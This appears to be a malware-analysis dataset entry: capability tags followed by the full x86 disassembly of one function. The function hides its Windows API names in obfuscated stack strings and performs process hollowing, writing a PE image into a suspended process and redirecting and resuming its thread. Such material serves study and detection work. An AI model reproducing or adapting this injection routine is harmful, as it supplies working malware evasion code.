Function at 0x52dac0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52e838
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x110
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0xbc], edi
mov byte [ebp - 0x15], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0x20], 0
call fcn.00401ec0
cmp byte [ebx + 0x18], 0
mov esi, eax
mov byte [ebp - 0x14], 0
je 0x52dc07
call fcn.00420480
mov ecx, eax
test ecx, ecx
jne 0x52db45
push 0x80004005
call fcn.00420020
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x52db5a
lock inc dword [ecx + 0x14]
lea eax, [ecx + 8]
jmp 0x52db5c
call edx
add eax, 0x10
mov dword [ebp - 0x28], eax
push dword [ebx + 0x14]
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0
push eax
lea edx, [ebp - 0x24]
mov ecx, esi
call fcn.00521f70
add esp, 8
test al, al
je 0x52dbc0
mov ecx, dword [ebp - 0x24]
test ecx, ecx
je 0x52dbc0
lea eax, [ebp - 0x20]
push eax
sub esp, 0xc
call fcn.00522e10
add esp, 0x10
test eax, eax
je 0x52dbc0
mov edx, dword [ebp - 0x24]
push ecx
lea ecx, [ebp - 0xc0]
call fcn.00528210
mov ecx, dword [ebp - 0x14]
add esp, 4
test eax, eax
movzx ecx, cl
mov edx, 1
cmovne ecx, edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
mov ecx, dword [ebp - 0x28]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x52dbfd
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov esi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x52dbf9
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x52dbfd
mov ecx, edx
call esi
cmp byte [ebp - 0x14], 0
je 0x52e01e
lea eax, [ebp - 0x38]
mov word [ebp - 0x30], 0x642e
push eax
mov word [ebp - 0x2d], 0x6c
mov dword [ebp - 0x35], 0x336c656e
mov word [ebp - 0x37], 0x7265
mov byte [ebp - 0x38], 0x4b
mov byte [ebp - 0x31], 0x32
mov byte [ebp - 0x2e], 0x6c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x52e01e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0xa4]
push ecx
push eax
mov dword [ebp - 0x97], 0x79726f6d
mov dword [ebp - 0xa4], 0x64616552
mov word [ebp - 0x9a], 0x4d73
mov dword [ebp - 0x9f], 0x65636f72
mov byte [ebp - 0x98], 0x65
mov byte [ebp - 0xa0], 0x50
mov byte [ebp - 0x9b], 0x73
mov byte [ebp - 0x93], 0
call esi
mov dword [0x5675cc], eax
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x7c], 0x54746547
mov dword [ebp - 0x6f], 0x747865
mov word [ebp - 0x74], 0x4364
mov word [ebp - 0x71], 0x746e
mov word [ebp - 0x77], 0x6572
mov byte [ebp - 0x78], 0x68
mov byte [ebp - 0x75], 0x61
mov byte [ebp - 0x72], 0x6f
call esi
mov dword [0x5675c8], eax
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x66], 0x61757472
mov dword [ebp - 0x62], 0x6c6c416c
mov dword [ebp - 0x5d], 0x784563
mov word [ebp - 0x68], 0x6956
mov byte [ebp - 0x5e], 0x6f
call esi
mov dword [0x5675c4], eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x41], 0x6f6c6c41
mov dword [ebp - 0x45], 0x6c617574
mov word [ebp - 0x3d], 0x63
mov word [ebp - 0x48], 0x6956
mov byte [ebp - 0x46], 0x72
call esi
mov dword [0x5675b4], eax
lea eax, [ebp - 0xb8]
push eax
push dword [ebp - 0x14]
mov word [ebp - 0xac], 0x654d
mov dword [ebp - 0xa9], 0x79726f
mov dword [ebp - 0xb8], 0x74697257
mov dword [ebp - 0xb4], 0x6f725065
mov dword [ebp - 0xb0], 0x73736563
mov byte [ebp - 0xaa], 0x6d
call esi
mov dword [0x5675c0], eax
lea eax, [ebp - 0x90]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x85], 0x7865746e
mov word [ebp - 0x81], 0x74
mov word [ebp - 0x8f], 0x7465
mov word [ebp - 0x8c], 0x7268
mov dword [ebp - 0x89], 0x6f436461
mov byte [ebp - 0x8d], 0x54
mov byte [ebp - 0x90], 0x53
mov byte [ebp - 0x8a], 0x65
call esi
mov dword [0x5675bc], eax
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x58], 0x75736552
mov word [ebp - 0x4e], 0x6461
mov dword [ebp - 0x53], 0x72685465
mov byte [ebp - 0x4c], 0
mov byte [ebp - 0x4f], 0x65
mov byte [ebp - 0x54], 0x6d
call esi
mov dword [0x5675b8], eax
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x52dfda
mov edi, dword [edi + 0x3c]
add edi, dword [ebp - 0xbc]
cmp dword [edi], 0x4550
jne 0x52dfda
push 0x44
lea eax, [ebp - 0x120]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [ebp - 0xd0], xmm0
call fcn.00443110
xor eax, eax
mov dword [ebp - 0x120], 0x44
add esp, 0xc
mov word [ebp - 0xf0], ax
cmp byte [ebx + 0x18], al
lea eax, [ebp - 0xd0]
mov dword [ebp - 0xf4], 0x101
push eax
lea eax, [ebp - 0x120]
push eax
je 0x52de8a
mov edx, dword [ebp - 0x1c]
push ecx
push dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x20]
push 0x8000404
sub esp, 0xc
push dword [ebx + 8]
call fcn.0051df70
add esp, 0x24
jmp 0x52de9b
mov edx, dword [ebx + 8]
sub esp, 0x18
mov ecx, dword [ebp - 0x1c]
call fcn.0052a970
add esp, 0x20
test eax, eax
je 0x52dfda
push 4
push 0x1000
push 4
push 0
call dword [0x5675b4]
mov esi, eax
push esi
mov dword [ebp - 0x28], esi
mov dword [esi], 0x10002
push dword [ebp - 0xcc]
call dword [0x5675c8]
test eax, eax
je 0x52dfcf
push 0
push 4
lea eax, [ebp - 0xd4]
push eax
mov eax, dword [esi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0xd0]
call dword [0x5675cc]
push 0x40
push 0x3000
push dword [edi + 0x50]
push 0
push dword [ebp - 0xd0]
call dword [0x5675c4]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x52dfcf
push 0
push dword [edi + 0x54]
push dword [ebp - 0xbc]
push eax
push dword [ebp - 0xd0]
call dword [0x5675c0]
movzx eax, word [edi + 0x14]
xor ecx, ecx
mov dword [ebp - 0x1c], 0
cmp cx, word [edi + 6]
jae 0x52df86
lea esi, [edi + 0x2c]
add esi, eax
nop dword [eax + eax]
mov eax, dword [esi]
add eax, dword [ebp - 0xbc]
push 0
push dword [esi - 4]
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x14]
push eax
push dword [ebp - 0xd0]
call dword [0x5675c0]
mov ecx, dword [ebp - 0x1c]
lea esi, [esi + 0x28]
movzx eax, word [edi + 6]
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, eax
jl 0x52df50
mov esi, dword [ebp - 0x28]
push 0
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [esi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0xd0]
call dword [0x5675c0]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x14]
push esi
mov dword [esi + 0xb0], eax
push dword [ebp - 0xcc]
call dword [0x5675bc]
push dword [ebp - 0xcc]
call dword [0x5675b8]
mov byte [ebp - 0x15], 1
jmp 0x52dfda
mov ecx, dword [ebp - 0xd0]
call fcn.005218b0
mov ecx, dword [ebp - 0xc0]
test ecx, ecx
je 0x52dfe9
call fcn.00528290
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x52dffc
call fcn.0052e1f0
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x24]
test ecx, ecx
je 0x52e008
call fcn.0052e1f0
mov al, byte [ebp - 0x15]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
xor al, al
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret